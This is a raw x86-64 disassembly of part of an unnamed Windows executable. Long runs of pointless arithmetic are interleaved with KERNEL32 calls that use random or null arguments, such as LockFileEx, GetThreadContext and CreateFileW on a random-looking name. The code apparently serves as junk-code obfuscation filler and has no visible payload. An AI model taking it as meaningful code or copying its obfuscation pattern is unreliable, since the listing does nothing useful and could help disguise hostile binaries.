mov rax, qword [rsp + 0x14720]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21a]
xor eax, ecx
mov byte [rsp + 0x733], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x147a0], rax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x147a8], rax
mov rax, qword [rsp + 0x13548]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f48]
mov qword [rsp + 0x147b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13720]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov dword [rsp + 0x9f10], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x4b130]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9e24], eax
mov rax, qword [rsp + 0x14518]
mov rcx, qword [rsp + 0x139b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9c78], eax
mov rcx, qword [rsp + 0x13618]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9848]
mov ecx, dword [rsp + 0x86e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13288]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x752]
add eax, ecx
mov byte [0x1403525a3], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f14], eax
movzx eax, word [rsp + 0x2850]
mov word [rsp + 0x2c98], ax
mov eax, dword [rsp + 0x8df8]
mov ecx, dword [rsp + 0x9dc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130a8]
mov dword [rcx], eax
mov rax, qword [0x140369f40]
mov ecx, dword [rsp + 0x7534]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x95fc], eax
movsx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x13788]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x736], al
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x147b8], rax
mov rax, qword [rsp + 0x13b58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf4]
or eax, ecx
mov rcx, qword [rsp + 0x14690]
mov word [rcx], ax
mov rax, qword [rsp + 0x139c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76a]
imul eax, ecx
mov rcx, qword [rsp + 0x13930]
mov byte [rcx], al
lea rax, [0x140369f68]
mov qword [rsp + 0x147c0], rax
lea rax, [rsp + 0x9aa0]
mov qword [0x140369fa0], rax
mov rax, qword [rsp + 0x141e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x602c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd4], eax
mov eax, dword [rsp + 0x9d38]
mov dword [rsp + 0x9f18], eax
mov rax, qword [0x140369d18]
mov ecx, dword [rsp + 0x81e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x98e4], eax
movzx eax, byte [rsp + 0x2e7]
mov rcx, qword [rsp + 0x143d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x76d], al
movzx eax, word [rsp + 0x1f18]
movzx ecx, word [0x1403624ac]
add eax, ecx
mov word [rsp + 0x2344], ax
mov rax, qword [rsp + 0x14670]
mov ecx, dword [rsp + 0x76ec]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x135b0]
mov eax, dword [rax]
mov dword [rsp + 0x9f1c], eax
mov rax, qword [rsp + 0x131b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14036246c]
shl eax, cl
mov dword [rsp + 0x5c14], eax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ba0]
mov qword [rsp + 0x147c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x140369e70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x70d]
mov rcx, qword [0x140369db0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13fe8]
mov byte [rcx], al
lea rax, [rsp + 0x288c]
mov qword [rsp + 0x147d0], rax
movsx eax, byte [rsp + 0x743]
movsx ecx, byte [rsp + 0x731]
and eax, ecx
mov byte [rsp + 0x559], al
movzx eax, word [rsp + 0x1ed0]
mov word [rsp + 0x2c9c], ax
mov edx, 0x1420
mov rcx, qword [rsp + 0x13ae8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9da8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x5d8
mov r9d, 0x2a1d
mov r8d, 0xbda34afb
mov edx, 2
mov rcx, qword [rsp + 0x14550]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9ed0], eax
mov eax, dword [rsp + 0x9d1c]
mov ecx, dword [0x140369b98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13948]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14038]
mov ecx, dword [rsp + 0x5b2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f00], eax
lea rax, [rsp + 0x768]
mov qword [rsp + 0x147d8], rax
movzx eax, word [rsp + 0x288c]
mov rcx, qword [rsp + 0x13b58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x137b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14130]
mov eax, dword [rax]
mov dword [0x140369fa8], eax
mov eax, dword [0x140369be8]
mov ecx, dword [rsp + 0x9c10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x52a8], eax
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13828]
mov dword [rcx], eax
lea rax, [rsp + 0x9a94]
mov qword [rsp + 0x147e0], rax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
movzx ecx, byte [0x140363efd]
imul eax, ecx
mov byte [rsp + 0x735], al
mov rax, qword [rsp + 0x13410]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13c90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bac], ax
lea rax, [rsp + 0x86e8]
mov qword [rsp + 0x147e8], rax
mov rax, qword [rsp + 0x13190]
mov rcx, qword [0x140369f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e30], eax
mov eax, dword [rsp + 0x9c0c]
mov dword [rsp + 0x9f20], eax
mov eax, dword [rsp + 0x9b08]
mov ecx, dword [rsp + 0x9ce8]
sub ecx, eax
mov eax, ecx
mov dword [0x140369be8], eax
mov eax, dword [rsp + 0x9eb0]
mov ecx, dword [rsp + 0x9cc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e50], eax
mov rax, qword [rsp + 0x144b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13188]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x139c0]
mov byte [rcx], al
lea rax, [rsp + 0x2c5c]
mov qword [rsp + 0x147f0], rax
mov rax, qword [0x140369b80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2740]
xor eax, ecx
mov rcx, qword [rsp + 0x142d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72d]
cdq
idiv ecx
mov byte [rsp + 0x1f1], al
mov eax, dword [rsp + 0x9d48]
movzx ecx, al
mov eax, dword [rsp + 0x9dd8]
shl eax, cl
mov dword [rsp + 0x9b58], eax
mov rax, qword [rsp + 0x143b8]
mov rcx, qword [rsp + 0x13750]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x876c], eax
mov rax, qword [rsp + 0x13c90]
movzx eax, word [rax]
mov word [rsp + 0x2ca0], ax
lea rax, [rsp + 0x678]
mov qword [0x140369fb0], rax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x145e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9f20], eax
lea rax, [rsp + 0x9c00]
mov qword [rsp + 0x147f8], rax
mov eax, dword [rsp + 0x9d04]
mov ecx, dword [rsp + 0x9d54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a24], eax
lea rax, [rsp + 0x833c]
mov qword [rsp + 0x14800], rax
mov rax, qword [rsp + 0x13370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd0]
add eax, ecx
mov word [rsp + 0x2c50], ax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
movzx ecx, byte [0x140363edf]
sub eax, ecx
mov rcx, qword [rsp + 0x13598]
mov byte [rcx], al
lea rax, [rsp + 0x73c0]
mov qword [rsp + 0x14808], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14810], rax
mov rax, qword [rsp + 0x134c0]
mov rcx, qword [rsp + 0x13968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9bc4], eax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
mov rcx, qword [0x140369cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140369ed8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13d58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12ac], ax
movzx eax, byte [rsp + 0x74c]
mov rcx, qword [rsp + 0x12fc0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x734], al
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13360]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13568]
mov word [rcx], ax
lea rdx, [rsp + 0x42bc0]
mov rcx, qword [rsp + 0x14688]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9af4], eax
mov edx, 0x197
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9f24], eax
lea rax, [rsp + 0x9e0c]
mov qword [rsp + 0x14818], rax
mov rax, qword [rsp + 0x131f8]
mov ecx, dword [rsp + 0x9b50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69c8], eax
lea rax, [0x14036246c]
mov qword [rsp + 0x14820], rax
mov eax, dword [rsp + 0x9b30]
mov ecx, dword [rsp + 0x8fd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x94d0], eax
mov eax, dword [rsp + 0x527c]
mov rcx, qword [rsp + 0x12ea8]
mov qword [rsp + 0x14828], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14828]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14040]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x753]
mov byte [rsp + 0x772], al
lea rax, [rsp + 0x2bd4]
mov qword [0x140369fb8], rax
mov rax, qword [rsp + 0x14480]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13518]
mov qword [rsp + 0x14830], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14830]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e18], eax
lea rax, [rsp + 0x9ea8]
mov qword [rsp + 0x14838], rax
mov eax, dword [rsp + 0x94d0]
mov ecx, dword [rsp + 0x9cc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x702c], eax
mov eax, dword [rsp + 0x6588]
mov ecx, dword [rsp + 0x8e20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5dd8], eax
movzx eax, word [0x1403624ac]
mov word [rsp + 0x2ca4], ax
movzx eax, byte [rsp + 0x10e]
movzx ecx, byte [rsp + 0x1f1]
or eax, ecx
mov rcx, qword [rsp + 0x140c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x2bc8]
movsx ecx, word [rsp + 0x1ed0]
sub eax, ecx
mov word [rsp + 0x1a88], ax
mov rax, qword [0x140369cd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14468]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x736], al
mov dword [rsp + 0x20], 0x203c
mov r9d, 0x36e9
mov r8d, 0x1d6a
mov edx, 0xa8b
mov rcx, qword [rsp + 0x13798]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9980], eax
mov eax, dword [rsp + 0x9b50]
mov ecx, dword [rsp + 0x9998]
add ecx, eax
mov eax, ecx
mov dword [0x140369f88], eax
lea rax, [rsp + 0x9a48]
mov qword [rsp + 0x14840], rax
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x137d0]
mov word [rcx], ax
mov edx, 0x84d
mov rcx, qword [rsp + 0x135e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a8c], eax
mov rax, qword [rsp + 0x14598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13200]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.0qovMlzL6CBDVx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14848], rax
mov rcx, qword [rsp + 0x13510]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [0x140369c8c]
mov qword [rsp + 0x14850], rax
mov rax, qword [rsp + 0x13c10]
mov rcx, qword [rsp + 0x13818]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9aa0]
mov dword [rsp + 0x9f28], eax
mov rax, qword [0x140369e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d00], eax
movzx eax, word [rsp + 0x2b9c]
mov rcx, qword [rsp + 0x13a08]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2bd4], ax
lea rax, [rsp + 0x708]
mov qword [0x140369fc0], rax
mov rax, qword [rsp + 0x143e0]
mov ecx, dword [rsp + 0x9a94]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8934], eax
mov eax, dword [rsp + 0x83e4]
mov rcx, qword [rsp + 0x13628]
mov qword [rsp + 0x14858], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14858]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ee8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x86e8]
mov dword [rsp + 0x9f2c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xca8
mov r9d, 0x1f8a
mov r8d, 0x6dfbb80b
mov edx, 2
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9ae0], eax
mov eax, dword [rsp + 0x9cb4]
mov ecx, dword [rsp + 0x9cb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c7c], eax
mov rax, qword [rsp + 0x13b40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x938c]
sar eax, cl
mov dword [rsp + 0x76ec], eax
mov rax, qword [rsp + 0x14628]
movzx eax, word [rax]
mov word [rsp + 0x2ca8], ax
mov rax, qword [rsp + 0x13bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
and eax, ecx
mov byte [rsp + 0x738], al
mov rax, qword [rsp + 0x13e18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13848]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a10], ax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x225]
sub eax, ecx
mov rcx, qword [0x140369fb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x131f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9bb8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14740]
mov dword [rcx], eax
mov eax, dword [rsp + 0x709c]
mov dword [rsp + 0x9f30], eax
movzx eax, byte [rsp + 0x21a]
movzx ecx, byte [0x1403525ba]
sub eax, ecx
mov rcx, qword [rsp + 0x13990]
mov byte [rcx], al
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
and eax, ecx
mov word [rsp + 0x12c4], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4add0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9f34], eax
mov rax, qword [rsp + 0x144d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91d4], eax
mov rax, qword [rsp + 0x13a00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134f0]
mov dword [rcx], eax
lea rax, [rsp + 0x997c]
mov qword [rsp + 0x14860], rax
mov rax, qword [rsp + 0x13870]
mov rcx, qword [0x140369da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x636c], eax
movzx eax, word [rsp + 0x17e8]
mov rcx, qword [rsp + 0x13b58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1403624cc], ax
mov rax, qword [rsp + 0x14090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x745]
add eax, ecx
mov rcx, qword [rsp + 0x13f88]
mov byte [rcx], al
mov eax, dword [0x140369e08]
mov dword [rsp + 0x9f38], eax
mov rax, qword [rsp + 0x14808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8754]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14180]
mov dword [rcx], eax
lea rax, [rsp + 0x771]
mov qword [rsp + 0x14868], rax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x13e38]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e24], ax
movzx eax, word [rsp + 0x2c80]
mov rcx, qword [rsp + 0x13e18]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13ed0]
mov word [rcx], ax
lea rax, [rsp + 0x72d]
mov qword [rsp + 0x14870], rax
mov eax, dword [0x140362474]
mov rcx, qword [rsp + 0x147e0]
mov qword [rsp + 0x14878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14878]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9b84]
mov ecx, dword [rsp + 0x9a40]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140369c78]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b4c], eax
mov eax, dword [rsp + 0x9a30]
mov dword [rsp + 0x9f3c], eax
mov rax, qword [0x140369f30]
mov rcx, qword [rsp + 0x13238]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6588], eax
mov rcx, qword [rsp + 0x135f0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9ccc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x135d0]
mov dword [rcx], eax
lea rax, [rsp + 0x740]
mov qword [rsp + 0x14880], rax
mov rax, qword [0x140369e88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13888]
mov word [rcx], ax
mov eax, dword [rsp + 0x9b84]
mov ecx, dword [rsp + 0x9e48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69f4], eax
mov eax, dword [0x140369eec]
mov ecx, dword [rsp + 0x8b20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5330], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rax, [rsp + 0x9d2c]
mov qword [rsp + 0x14888], rax
mov rax, qword [rsp + 0x13260]
mov eax, dword [rax]
mov dword [0x140369fc8], eax
mov rax, qword [rsp + 0x14340]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x441]
and eax, ecx
mov byte [rsp + 0x630], al
movzx eax, word [rsp + 0x25a0]
mov rcx, qword [rsp + 0x13138]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x143c0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f40], eax
mov rax, qword [rsp + 0x13e90]
movzx eax, word [rax]
mov word [rsp + 0x2cac], ax
mov rcx, qword [rsp + 0x14540]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c58], eax
mov rcx, qword [rsp + 0x136b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12ea0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x759], al
lea rax, [0x140369eec]
mov qword [rsp + 0x14890], rax
mov rax, qword [rsp + 0x13fb0]
mov rcx, qword [rsp + 0x13df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13400]
movzx eax, byte [rax]
movzx ecx, byte [0x140363f1f]
xor eax, ecx
mov byte [rsp + 0x13c], al
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x14898], rax
lea rax, [rsp + 0x8dcc]
mov qword [0x140369fd0], rax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13118]
mov qword [rsp + 0x148a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14040]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f78]
mov qword [rsp + 0x148a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148a8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5c00], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8214]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2344]
and eax, ecx
mov rcx, qword [rsp + 0x144c8]
mov word [rcx], ax
lea rax, [rsp + 0x1f1]
mov qword [rsp + 0x148b0], rax
mov rax, qword [rsp + 0x13350]
mov rcx, qword [rsp + 0x14668]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x94d0], eax
mov rax, qword [rsp + 0x14028]
mov eax, dword [rax]
mov dword [rsp + 0x9f44], eax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x140369ba8]
mov ecx, dword [rsp + 0x9a9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13a00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136c0]
mov ecx, dword [rsp + 0x9e88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369cc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b08]
mov ecx, dword [rsp + 0x9c24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9198], eax
lea rax, [rsp + 0x519]
mov qword [rsp + 0x148b8], rax
mov dword [rsp + 0x4beb0], 0x11c
mov rax, qword [rsp + 0x137a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a88]
or eax, ecx
mov word [rsp + 0x11d8], ax
lea rax, [rsp + 0x266]
mov qword [rsp + 0x148c0], rax
mov rax, qword [rsp + 0x14730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c38]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
lea rax, [rsp + 0x7dd0]
mov qword [rsp + 0x148c8], rax
mov rax, qword [0x140369e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x139a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13810]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bd0]
and eax, ecx
mov word [rsp + 0x2c4c], ax
movzx eax, byte [rsp + 0x742]
movzx ecx, byte [rsp + 0x747]
sub eax, ecx
mov byte [0x1403525bb], al
lea rax, [rsp + 0x954c]
mov qword [rsp + 0x148d0], rax
mov eax, dword [rsp + 0x9f44]
movzx ecx, al
mov eax, dword [rsp + 0x9aac]
shl eax, cl
mov rcx, qword [rsp + 0x147e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0x9f48], eax
mov rax, qword [rsp + 0x131f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13238]
mov qword [rsp + 0x148d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9e0c], eax
mov rax, qword [rsp + 0x140e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a5c]
xor eax, ecx
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x14288]
movzx eax, byte [rax]
imul eax, eax, 8
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x13d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9df8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x78f4], eax
lea rax, [rsp + 0x58d4]
mov qword [rsp + 0x148e0], rax
mov rcx, qword [rsp + 0x133e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x993c], eax
mov rax, qword [rsp + 0x147f0]
movzx eax, word [rax]
mov word [0x140369fd8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x13480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [0x140363efc]
movsx ecx, byte [rsp + 0x736]
and eax, ecx
mov rcx, qword [rsp + 0x144b0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2c6c]
movzx ecx, word [rsp + 0x2c30]
add eax, ecx
mov word [rsp + 0x2c98], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x38e8
mov r9d, 0x243e
mov r8d, 0x16914f8d
mov edx, 1
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9af8], eax
lea rax, [rsp + 0x243]
mov qword [rsp + 0x148e8], rax
mov rax, qword [rsp + 0x13b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5330]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d28]
mov dword [rsp + 0x9f4c], eax
mov rax, qword [0x140369d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c70], eax
mov rax, qword [rsp + 0x13f40]
mov ecx, dword [rsp + 0x6218]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7c60], eax
mov rax, qword [rsp + 0x130d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x78f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bb4], eax
movzx eax, word [0x140362488]
movzx ecx, word [rsp + 0x1e08]
or eax, ecx
mov rcx, qword [rsp + 0x138e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13668]
movzx eax, byte [rax]
imul eax, eax, 0xcd
mov rcx, qword [0x140369c98]
mov byte [rcx], al
mov rax, qword [rsp + 0x131d0]
mov eax, dword [rax]
mov dword [rsp + 0x9f50], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [0x140369bb8]
mov ecx, dword [rsp + 0x9cb4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14788]
mov dword [rcx], eax
lea rax, [rsp + 0x7804]
mov qword [rsp + 0x148f0], rax
mov rax, qword [rsp + 0x130f8]
mov ecx, dword [rsp + 0x9e98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9dec], eax
movzx eax, byte [str.f_t_]
movzx ecx, byte [rsp + 0x75a]
sub eax, ecx
